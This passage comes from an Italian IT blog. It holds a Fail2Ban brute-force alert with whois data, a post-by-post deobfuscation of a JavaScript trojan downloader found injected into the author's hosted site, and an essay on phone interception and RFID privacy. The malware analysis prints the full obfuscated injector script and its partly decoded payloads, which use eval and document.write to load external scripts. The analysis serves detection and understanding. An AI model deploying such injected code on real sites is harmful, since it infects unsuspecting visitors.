Il blog sull'informatica

Allora, diciamo che è dalle 8:26 di questa mattina che ricevo attacchi bruteforce sulle credenziali di accesso del mio server FTP casalingo da parte dell'IP 124.205.181.87:

Hi,

The IP 124.205.181.87 has just been banned by Fail2Ban after
6 attempts against vsftpd.


Here are more information about 124.205.181.87:

% [whois.apnic.net node-4]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        124.205.0.0 - 124.205.255.255
netname:        DXTNET
descr:          Beijing Teletron Telecom Engineering Co., Ltd.
descr:          Jian Guo Road, Chaoyang District, Beijing, PR.China
country:        CN
admin-c:        PP40-AP
tech-c:         PP40-AP
status:         ALLOCATED NON-PORTABLE
changed:        ipas@cnnic.net.cn 20080927
mnt-by:         MAINT-CNNIC-AP
mnt-lower:      MAINT-CNNIC-AP
mnt-routes:     MAINT-CNCGROUP-RR
source:         APNIC

person:         Pang Patrick
nic-hdl:        PP40-AP
e-mail:         bill.pang@bj.datadragon.net
address:        Fl./8, South Building, Bridge Mansion, No. 53
phone:          +86-10-63181513
fax-no:         +86-10-63181597
country:        CN
changed:        ipas@cnnic.net.cn 20030304
mnt-by:         MAINT-CNNIC-AP
source:         APNIC

Regards,

Fail2Ban

Premesso che non ho niente contro gli smanettoni cinesi... però qui ci vorrebbe un minimo di raziocinio, ossia: cosa mi bombardi il server FTP con il bruteforce quando mi pare CHIARO che non uso password semplici o di default? Bah, mi sa che imposterò una piccola ACL direttamente sul router.

Bye.

In questo post ho riportato il codice Javascript malevolo iniettato sul server di Aruba che ospita uno dei siti che gestisco. Da un'analisi di tale codice sono riuscito a deoffuscarne alcune parti, semplificando notevolmente la compresione dello stesso. In particolare, la mia attenzione si è concentrata sulla variabile BKbk34b32, poichè su di essa vengono eseguite diverse operazioni. Infatti, come si evince dall'associazione:

var $a = BKbk34b32.replace(/98/g, "Z");

ogni pattern 98 presente all'interno della variabile precedentemente specificata, viene sostituito con una Z (ciò avviene per tutta la stringa BKbk34b32, grazie a /g, dove g sta per global).

Analizziamo adesso il seguente ciclo for:

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ )

che equivale a:

for(__fh=0; __fh < s.length; __fh++ )

proprio perchè la variabile adlan3r$oubw non è altro che una stringa costituita da un singolo carattere, ovvero e :

var adlan3r$oubw = "e";

mentre il carattere + viene utilizzato per concatenare tra loro caratteri e stringhe.

All'interno del ciclo for è possibile notare le seguenti istruzioni:

i = __fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%' }

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

che equivale a:

if(s.charAt(i) == 'Z') {

s(i) = '%'; }

else {

s(i) = s(i);

}

che in soldoni vuol dire: scansiona la stringa, se incontri una Z sostituiscila con un %, altrimenti lascia il carattere cosi com'è.

Infine, è interessante dare un'occhiata alla seguente istruzione:

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

che equivale a:

this.unescape(r)

Quindi, ricapitolando possiamo deoffuscare il contenuto della variabile BKbk34b32 seguendo i seguenti step:

var a = BKbk34b32.replace(/98/g, "Z");

var b = a.replace(/Z/g, "%");

var c = unescape(b);

E infine stampiamo la variabile deoffuscata mediante il codice:

document.write(c);

La variabile BKbk34b32 deoffuscata è la seguente:

ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%";

dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";

cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;s{xpyz;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";

cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8ts%7F}79+m";

dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";

st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";

cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";

dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

cc="%67%74h;%69++%29%7bt%6dp%3dds.s%6cic%65(i%2ci+1%29;%73";

if (document.cookie.indexOf('rf5f6ds')==-1) {

function callback(x){

window.tw = x;

var d = new Date();

d.setTime(x["as_of"]*1000);

var h = d.getUTCHours();

window.h = h;

if (h > 8) {

d.setUTCDate(d.getUTCDate() - 2);

}

else {

d.setUTCDate(d.getUTCDate() - 3);

}

window.gd = d;

var time = new Array();

var shiftIndex = "";

time["year"] = d.getUTCFullYear();

time["month"] = d.getUTCMonth()+1;

time["day"] = d.getUTCDate();

if (d.getUTCMonth()+1 < 10) {

shiftIndex = time["year"] + "-0" + (d.getUTCMonth()+1);

}

else {

shiftIndex = time["year"] + "-" + (d.getUTCMonth()+1);

}

if (d.getUTCDate() < 10) {

shiftIndex =shiftIndex + "-0" + d.getUTCDate();}else{shiftIndex = shiftIndex + "-" + d.getUTCDate();}document.write("" + "");

}

function callback2(x) {

window.tw =x;

sc('rf5f6ds',2,7);

eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');

document.write($a);

}

document.write(" " + "");

}

else {

$a=''

};

function sc(cnm,v,ed) {

var exd=new Date();exd.setDate(exd.getDate()+ed);document.cookie=cnm+ '=' +escape(v)+';expires='+exd.toGMTString();

};

Nei prossimi giorni proseguirò con un'ulteriore analisi e deoffuscamento del codice. A presto.

Recentemente, su uno dei siti che ho realizzato e che gestisco ho trovato il seguente codice javascript presente all'interno della home page (ho provato a sistemarlo in modo da renderlo più leggibile):

<script language="javascript">

var kasbd3412 = "";

$$ = function () {

try {

kasbd3412= $$dfsd(gnflseejrr());

kasbd3412.do();

}

catch(e) {

var bn = "";

return kasbd3412;

}

};

var adlan3r$oubw = "e";

$$dfsd =  this['a'+'s'+'d'];

var adlan3r$ouaw = "a";

function asd(df_){

this['r']="";

var s = df_;

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ) {

i=__fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'}

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)

}

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

}

var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];});

VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);});

function gnflseejrr() {

return $a

}

var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1';

BKbk34b32='Z63aZ3dZ22Z2566unZ2563tioZ256e Z2564csZ2528dsZ252cesZ2529Z257bdZ2573Z253dunesZ2563apeZ25Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cdZ3dZ22Z2574Z253dst+Z2553Z2574rinZ2567.frZ256fmCZ2568aZ2572CZ256fdZ2565(Z2528tmpZ252eZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573(Z2564Z2561Z252bdZ2562+Z2564cZ252bdZ2564Z252bZ2564eZ252c1Z2530Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uZ256eZ2563tZ2569on Z2563z(cZ257a)Z257breZ2574urnZ2520cZ2561+cZ2562+ccZ252bZ2563d+cZ2565+cZ257aZ253bZ257dZ253bZ22;opZ3dZ22Z2524aZ253dZ2522dZ2577(dcZ2573(cZ2575,14Z2529);Z2522;Z22;ceZ3dZ22chaZ2572CoZ2564eAtZ25280)Z255eZ2528Z25270x0Z2530Z2527+Z2565s)Z2529);}Z257dZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cbZ3dZ2228dsZ2529;sZ2574Z253dtmpZ253dZ2527Z2527;for(iZ253d0;iZ253cdZ2573Z252elZ2565nZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566Z2575nctZ2569oZ256e dwZ2528Z2574)Z257bcaZ253dZ2527Z252564oZ2563Z252575meZ25256eZ2574.Z252577rZ252569Z2574e(Z25252Z2532Z2527Z253bZ2563Z2565Z253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563riZ2525Z25370Z25257Z2534 lZ2525Z25361Z25256Z2565Z2567uaZ252567Z252565Z25253Z2564Z25255cZ252522Z256aZ252561Z2576asZ252563rZ2569Z2525Z25370Z252574Z25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fsZ2563ripZ2574Z2525Z2533eZ2527;windZ256fw[Z2522Z2565Z2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](uneZ2573Z2563aZ2570Z2565(tZ2529)};Z22;ccZ3dZ22Z2567Z2574h;Z2569++Z2529Z257btZ256dpZ253dds.sZ256cicZ2565(iZ252ci+1Z2529;Z2573Z22;Z69f (Z64Z6fcuZ6denZ74.Z63Z6foZ6bieZ2eindZ65xOfZ28Z27rZ66Z35f6Z64Z73Z27)Z3dZ3d-1Z29Z7bfZ75ncZ74ionZ20cZ61lZ6cZ62aZ63kZ28Z78)Z7bwinZ64Z6fw.tZ77Z20Z3d Z78;Z76Z61r dZ20Z3d new DZ61tZ65()Z3bdZ2esetZ54imeZ28Z78[Z22aZ73Z5foZ66Z22]*1Z3000Z29;vaZ72 hZ20Z3d d.Z67Z65tUZ54CHZ6fursZ28)Z3bwiZ6eZ64ow.Z68 Z3d hZ3bZ69Z66 Z28h Z3e Z38)Z7bd.Z73Z65tUTZ43DZ61tZ65Z28Z64.geZ74UTZ43Z44atZ65Z28) Z2dZ202Z29Z3b}elZ73Z65Z7bd.sZ65tUTZ43DaZ74eZ28Z64.Z67etUZ54CDZ61te(Z29 -Z203Z29Z3b}wZ69nZ64owZ2egdZ20Z3dZ20d;vZ61Z72 Z74iZ6de Z3d neZ77 ArZ72Z61y(Z29Z3bZ76Z61r Z73hZ69ftIZ6edZ65x Z3d Z22Z22;timeZ5bZ22yearZ22] Z3d d.gZ65tUZ54CFuZ6clZ59eZ61r()Z3btiZ6deZ5bZ22moZ6etZ68Z22] Z3d d.Z67Z65tZ55TZ43Z4donZ74Z68Z28Z29+Z31Z3btiZ6deZ5bZ22dayZ22] Z3d Z64.Z67etZ55TCZ44ateZ28);Z69f Z28d.gZ65Z74Z55TZ43MonZ74hZ28)+Z31 Z3c 1Z30Z29Z7bshiZ66tInZ64Z65Z78 Z3d tiZ6de[Z22Z79earZ22] +Z20Z22-0Z22 + (Z64.geZ74UZ54CMZ6fnthZ28Z29+Z31);}Z65Z6cseZ7bshZ69Z66tInZ64ex Z3d tZ69mZ65Z5bZ22Z79earZ22Z5d Z2bZ20Z22-Z22 + (dZ2eZ67etZ55TCZ4donZ74h()Z2b1);Z7difZ20Z28d.Z67etUZ54CDaZ74e()Z20Z3cZ20Z310)Z7bsZ68ifZ74InZ64ex Z3dshiZ66tZ49nZ64Z65Z78Z20+Z20Z22-Z30Z22 +Z20dZ2egeZ74UZ54Z43DatZ65();Z7deZ6cseZ7bshiZ66Z74InZ64ex Z3d sZ68ifZ74IZ6eZ64exZ20+Z20Z22-Z22 + dZ2egetZ55TCZ44ateZ28)Z3b}Z64Z6fcumZ65nt.Z77Z72iZ74e(Z22Z3csZ63rZ22+Z22ipt Z6cZ61Z6eZ67Z75Z61Z67eZ3djavaZ73crZ69ptZ22+Z22 sZ72cZ3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77ittZ65rZ2ecomZ2fZ74reZ6edZ73Z2fdailZ79.jsZ6fZ6eZ3fdaZ74Z65Z3dZ22+ Z73Z68Z69fZ74InZ64ex+Z22Z26cZ61llZ62aZ63Z6bZ3dcalZ6cbacZ6b2Z27Z3eZ22 +Z20Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);Z7d Z66Z75Z6ectiZ6fn cZ61Z6clbaZ63Z6b2Z28x)Z7bZ77inZ64oZ77.tZ77 Z3dZ20x;Z73c(Z27Z72f5fZ36dsZ27,2,7Z29Z3beZ76aZ6c(unZ65sZ63aZ70e(dZ7aZ2bczZ2bZ6fp+Z73t)Z2bZ27dw(Z64zZ2bcZ7a($Z61Z2bZ73t))Z3bZ27);docZ75menZ74.Z77rZ69te(Z24Z61);}Z64ocuZ6denZ74.wZ72itZ65(Z22Z3cimg srZ63Z3dZ27httZ70:Z2fZ2fsearZ63hZ2etwiZ74Z74Z65r.cZ6fmZ2fimaZ67esZ2fseaZ72chZ2frsZ73.pZ6egZ27 wZ69dtZ68Z3d1 heZ69gZ68tZ3d1 Z73tyZ6ceZ3dZ27visiZ62Z69liZ74y:Z68iddZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6caZ6eguZ61geZ3djavaZ73crZ69ptZ22+Z22 sZ72cZ3dZ27httZ70:Z2fZ2fsearZ63Z68.Z74wiZ74Z74erZ2ecZ6fmZ2ftrZ65nZ64Z73Z2fdailZ79Z2ejZ73on?Z63aZ6clbZ61cZ6bZ3dcalZ6cbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$Z61Z3dZ27Z27};function Z73c(cZ6em,vZ2cedZ29Z7bvarZ20eZ78dZ3dnewZ20DZ61Z74eZ28);eZ78Z64.seZ74DatZ65(Z65xdZ2egetZ44atZ65()+Z65dZ29Z3bdoZ63umZ65nZ74Z2ecZ6fokZ69Z65Z3dZ63nZ6d+ Z27Z3dZ27 +escapZ65(vZ29+Z27;exZ70iZ72esZ3dZ27+exd.toZ47MZ54StZ72iZ6eg()Z3b};';

var $a = BKbk34b32.replace(/98/g, "Z");

ez[String.fromCharCode(101,118,97)+'l']($$())

</script>

Trattasi sicuramente di un trojan che mediante del codice lato client prova ad infettare il PC dell'ignaro visitatore. In particolare, l'antivirus segnala il seguente codice malicious: JS/trojandownloader.twetti.nac

Nei prossimi giorni procederò con l'analisi e la deoffuscamento del codice, stay tuned.

Sancho, interfaccia grafica multipiattaforma per mldonkey, presenta tutta una serie di caratteristiche più che interessanti, le quali consentono una facile gestione e personalizzazione del demone p2p in questione. A mio avviso, la possibilità di gestire il core da remoto mediante una connessione SSH è sicuramente una delle feature più intriganti. Vediamo dunque come configurare il nostro client per la connessione ad mldonkey da remoto, prendendo in considerazione a tal scopo lo screenshot sottostante:

Allora, essendo un ingegnere delle telecomunicazioni mi ha sempre interessato (ed affascinato) il mondo delle intercettazioni telefoniche. A tal proposito ho iniziato a documentarmi in modo alquanto minuzioso, riuscendo a scoprire delle informazioni davvero interessanti, che elencherò qui di seguito.

Iniziamo dalle intercettazioni su rete fissa. Il primo aggettivo che mi viene in mente è "costose". Infatti, questa tipologia di intercettazione si avvale di strumentazioni piuttosto sofisticate e della collaborazione di professionisti del settore, richiedendo molto, molto tempo. L'ultimo elemento da me citato è sicuramente il più importante, poichè una volta ricavati i tabulati telefonici bisogna incrociarli, studiarli ed esaminarli in modo dettagliato (un certo Gioacchino Genchi vi ricorda qualcosa?). E' necessario poi "ascoltare" le conversazioni in tempo reale, in modo da estrapolare eventuali informazioni rilevanti ed ottenere una possibile chiave di lettura dei messaggi in codice scambiati tra gli interlocutori.

Bene, abbiamo capito che intercettare le telefonate altrui è un lavoro certosino ed oneroso in termini economici. Ma cosa dire delle intercettazioni sui dispositivi mobili? Facciamo un pò di chiarezza. Dall'introduzione dei sistemi di telefonia mobile di seconda generazione (o 2G), i segnali scambiati tra i diversi apparati di telefonia mobile ha assunto forma digitale, abbandonando la natura analogica tipica dei sistemi 1G (TACS) ed 1.5G (ETACS).

Ciò ha comportato tutta una serie di vantaggi: l'ottimizzazione delle risorse (sia hardware che software), l'introduzione della crittografia per garantire un certo grado di riservatezza delle conversazioni, la compressione delle informazioni ed il loro adattamento al mezzo trasmissivo, la disponibilità di nuovi servizi (ad esempio gli SMS), e così via. Ma focalizziamo la nostra attenzione sulla crittografia. In particolare, il GSM si avvale di due cifrari, uno a flusso (A5) ed uno a blocchi (A8). Premesso che il cifrario a flusso A5 si è rivelato vulnerabile, la possibilità di effettuare un'intercettazione non si basa su tale falla di sicurezza. Piuttosto, viene adoperato un marchingegno (piuttosto ingombrante a dire il vero), solitamente piazzato su un furgone e posto vicino all'abitazione del soggetto da intercettare (per la precisione, prende il nome di BTS). Tale diavoleria riesce ad emettere un segnale molto potente, in grado di superare quello associato ai ripetitori posti nelle vicinanze, riuscendo così ad indurre il telefonino della vittima ad agganciarsi ad esso piuttosto che ad una base station reale. Affinchè tale sistema possa funzionare correttamente (ovvero risulti completamente trasparente agli interlocutori) è necessario che su di esso venga installata una SIM proveniente dallo stesso operatore di telefonia mobile del soggetto intercettato. E' inoltre indispensabile che il numero di questa SIM non sovrascriva quello della vittima nel caso in cui quest'ultima effettui una o più chiamate.

Ora, occorre precisare che tale tipo di intercettazione equivale ad un attacco man-in-the-middle ed è quindi illegale. Esistono però le intercettazioni legali, autorizzate dal giudice per le indagini preliminari su richiesta del pubblico ministero, le quali vengono attuate direttamente dall'operatore di telefonia, che non può esimersi da tale onere. Inoltre, essendo questa pratica piuttosto costosa, nel caso in cui l'indagato venga condannato, esso dovrà risarcire anche le spese dovute all'intercettazione.

Ma quando è davvero lecito sospettare di essere intercettati? Bhè, non c'è una regola ben precisa. Personalmente posso dirvi che qualche dubbio mi verrebbe se si verificassero continue cadute di linea nonostante il segnale ricevuto dal mio telefonino fosse ottimo, oppure se il mio interlocutore mi chiedesse da che telefono sto chiamando, non visualizzando sul display il mio solito numero (entrambe le anomalie sono tipiche di un attacco sferrato mediante BTS).

E che dire del VOIP? Il software VOIP per antonomasia, ovvero Skype, è così sicuro come si racconta? Bene, la risposta, ovviamente, è NO. Anche il VOIP può essere intercettato e decifrato anche se non così facilmente come avviene con i sistemi classici di telefonia fissa. Perfino Skype, che per anni si è vantato dell'alto grado di riservatezza offerto agli utenti, ha dovuto rivedere la propria posizione, soprattutto per vie delle leggi antiterrorismo.

Sempre per ciò che concerne le intercettazioni, occorre sfatare un mito: chi vi intercetta non interagisce MAI con voi. Ciò significa che non sentirete mai un colpo di tosse, una parola sottovoce, un qualche segno più o meno palese che possa permettervi di scoprire cosa sta succedendo.

Chiuso il discorso "intercettazioni" passiamo ad un altro argomento abbastanza scottante, ovvero gli RFID. Fondamentalmente, quasi tutte le tessere magnetiche ed i badge sono degli RFID, i quali contengono spesso e volentieri informazioni sensibili quali nome, cognome, residenza, occupazione, ecc. ecc. Riflettete un attimo: cosa potrebbe succedere quando vi trovate in prossimità di un lettore? Semplice, nella più catastrofica delle ipotesi i dati provenienti dai vostri badge verrebbero "captati" (ed eventualmente memorizzati e utilizzati in un secondo momento per scopi poco leciti, quali, ad esempio, il tracciamento oppure il furto di identità). Cosa ne è quindi del tanto osannato diritto alla privacy?

Soprattutto, non crediate che questo sia solo un rischio teorico. Una dimostrazione pratica è stata fornita durante il DefCon di Las Vegas, in cui decine di visitatori del tutto ignari hanno visto apparire su un grande videowall i propri dati anagrafici. Indovinate un pò come sono state ricavate tali informazioni?

Per finire, una piccola riflessione. Con questo post non voglio certo allarmarvi: se non avete commesso nessun atto illecito, non siete sotto intercettazione e soprattutto, se il vostro comportamento sarà irreprensibile, non lo sarete mai. Però la telefonia non è l'unico modo che esiste per invadere la privacy altrui. Vi sono infatti migliaia di metodi (alcuni poco ortodossi) in grado di tracciare ogni nostra mossa, ogni nostro movimento, oltre ai dati che reputiamo sensibili. Non starò qui a parlarvi dei vari keylogger, dei sistemi di tracciatura via satellite, oppure di infrastrutture molto sofisticate quali ECHELON. Voglio solo chiarire un punto: il "segreto" è ormai un concetto datato e di altri tempi, tenetelo bene in mente quando vi ritroverete a fare i conti con il vostro eccesso di sicurezza.

A presto.

Da anni si sente parlare dei famigerati hacker (anche se come già accennato in questo post, tale termine è errato, in quanto trattasi di cracker), i quali riescono con le loro scorribande telematiche a seminare il panico su Internet, introducendosi sui sistemi informatici altrui con conseguente danneggiamento degli stessi.

Occorre sfatare un mito però: il cracker non è sempre un ragazzetto sociopatico e genialoide, il cui unico amico è il personal computer e che ha forti difficoltà a sostenere un discorso sensato. Spesso i cracker sono soggetti in grado di ingannare il prossimo, portandolo a commettere errori imperdonabili (e spesso irrimediabilmente dannosi).

